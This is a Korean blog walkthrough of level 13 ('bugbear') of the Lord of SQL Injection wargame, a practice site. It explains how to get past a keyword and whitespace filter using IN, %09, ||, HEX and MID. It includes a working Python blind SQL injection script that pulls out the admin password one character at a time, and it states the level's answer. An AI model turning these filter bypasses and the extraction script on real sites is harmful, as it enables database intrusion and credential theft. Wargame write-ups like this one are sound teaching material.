[Lord of SQL Injection] bugbear 13번 풀이
[ 문제 접근 ]
1. if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
1번에서 substr, ascii, or, and ,like,= 문자열 그리고 공백을 모두 필터링하고 있다
2. 2. if(($result['pw']) && ($result['pw'] == $_GET['pw']))
쿼리질의 결과 admin의 pw와 사용자가 입력한 pw가 같을 경우 solve시켜줌, 이쯤이면 다들 blindsqlinjection인거 유추하실 수 있을꺼라고 생각합니다.
=>방법 : 기존에 작성한 코드를 응용하고 기존에는 like를 사용했지만 like를 필터링 하고 있으므로 like를 대체할 또 다른 방법을 찾아서 적용하면 풀 수 있다!
*힌트 : IN, MID, HEX
https://devdori.tistory.com/20 : and, or 우회
https://devdori.tistory.com/23 : white space 우회
https://devdori.tistory.com/35 : like를 제외한 다른 문자열 우회
[ 문제풀이 ]
<정답> : ?pw=52dc3991
<풀이>
이전 12번 문제와 같은 방식인데, 지금 문제와 이전 문제의 차이점은 공백과 like가 필터링에 추가되어있고 or이 추가되었다.
따라서 like는 IN으로, whitespace는 %09로 바꿔서 코드를 작성하면 될 것 같았다
그래서 기존코드를 위처럼 우회해서 작성하고 코드를 돌리면 hehe가 뜬다 ㅠㅠ;;
이유를 찾아보니 ORD가 문제였다 ㄷㄷ;;
ORD에 OR이 들어가서 함께 필터링이 되는거였다!
그러면 ORD를 HEX로 바꿔서 비교하면 된다. 문자열을 HEX로 바꿔서 비교해도 대소를 포함해서
문자열을 비교할 수 있다!
위에 방법을 적용해서 공격코드를 작성하면 다음과 같다
import requests
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
cookies = {'PHPSESSID':'uoaqqo49al5a3l6baodafl6edv'}
length=0
pw = ""
while True:
length+=1
req = f"{url}?no=1||length(pw)%09in({length})"
res = requests.get(req,cookies=cookies)
if res.text.find("<h2>Hello admin</h2><code>") != -1:
print("pw 길이 :",length)
break
for i in range(1,length+1):
for j in range(48,123):
req = f"{url}?no=1||id in (\"admin\") %26%26"
req+= f"hex(MID(pw,{i},1)) in (hex({(j)}))"
req = req.replace(" ","%09")
res = requests.get(req,cookies=cookies)
print(chr(j))
if res.text.find("<h2>Hello admin</h2><code>") != -1:
print(f"====={chr(j)}=====")
pw+=chr(j)
break
print(f"====(pw : {pw})====")
우선 pw의 길이를 알아야하나까 위에서 pw의 길이를 구하고 length만큼 반복문을 돌려서 password를 하나씩 가져온다
"BUGBEAR Clear!" 가 나타났다! 정답!
이제 다음 스테이지로 넘어가도록 하자
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[Lord of SQL Injection] assassin 15번 풀이 (0) | 2021.10.17 |
---|---|
[Lord of SQL Injection] giant 14번 풀이 (0) | 2021.10.17 |
[Lord of SQL Injection] darkknight 12번 풀이 (0) | 2021.10.17 |
[Lord of SQL Injection] golem 11번 풀이 (0) | 2021.10.17 |
[Lord of SQL Injection] skeleton 10번 풀이 (0) | 2021.10.17 |
댓글
이 글 공유하기
다른 글
-
[Lord of SQL Injection] assassin 15번 풀이
[Lord of SQL Injection] assassin 15번 풀이
2021.10.17 -
[Lord of SQL Injection] giant 14번 풀이
[Lord of SQL Injection] giant 14번 풀이
2021.10.17 -
[Lord of SQL Injection] darkknight 12번 풀이
[Lord of SQL Injection] darkknight 12번 풀이
2021.10.17 -
[Lord of SQL Injection] golem 11번 풀이
[Lord of SQL Injection] golem 11번 풀이
2021.10.17